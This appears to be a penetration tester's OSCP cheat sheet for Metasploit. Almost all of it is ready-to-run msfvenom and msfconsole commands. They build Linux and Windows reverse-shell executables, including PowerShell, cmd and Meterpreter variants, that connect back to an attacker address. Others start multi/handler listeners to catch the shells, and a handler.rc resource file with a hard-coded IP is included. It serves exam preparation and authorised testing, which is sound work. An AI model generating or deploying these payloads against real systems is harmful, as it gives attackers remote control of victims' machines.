msfvenom
https://help.offsec.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide#metasploit-restrictions
--
You may use the following against all of the target machines:
- multi handler (aka exploit/multi/handler)
- msfvenom
linux - for OSCP
shell.elf
msfconsolemsfconsole -q -x "use multi/handler; set payload linux/x64/shell_reverse_tcp; set lhost $IP_LOCAL; set lport 4444; exploit"
windows - for OSCP
shell.exe
#echo $IP_LOCAL
msfvenom -p windows/x64/powershell_reverse_tcp LHOST=$IP_LOCAL LPORT=4444 -f exe > shell-4444-powershell.exe
msfvenom -p windows/x64/shell/reverse_tcp LHOST=$IP_LOCAL LPORT=4444 -f exe > shell-x64-4444-cmd.exe
msfvenom -p windows/shell_reverse_tcp LHOST=$IP_LOCAL LPORT=4444 -f exe > shell-4444-x86-cmd.exe
msfconsole -q -x "use multi/handler; set payload windows/x64/powershell_reverse_tcp; set lhost $IP_LOCAL; set lport 4444; exploit"
msfconsole -q -x "use multi/handler; set payload windows/x64/shell/reverse_tcp; set lhost $IP_LOCAL; set lport 4444; exploit"
msfconsole -q -x "use multi/handler; set payload windows/shell_reverse_tcp; set lhost $IP_LOCAL; set lport 4444; exploit"
not❗ for OSCP
Meterpreter linux - not❗ for OSCP
shell.elf
msfconsolemsfconsole -q -x "use multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set lhost $LOCAL; set lport 4444; exploit"
Meterpreter windows - not❗ for OSCP
shell.exe
echo $LOCAL
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LOCAL LPORT=4444 -f exe > shell-4444-meterpreter.exe
msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost $LOCAL; set lport 4444; exploit"
Meterpreter start from file
create handler.rc file
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.18.9.175
set LPORT 4444
run
Links
- https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet/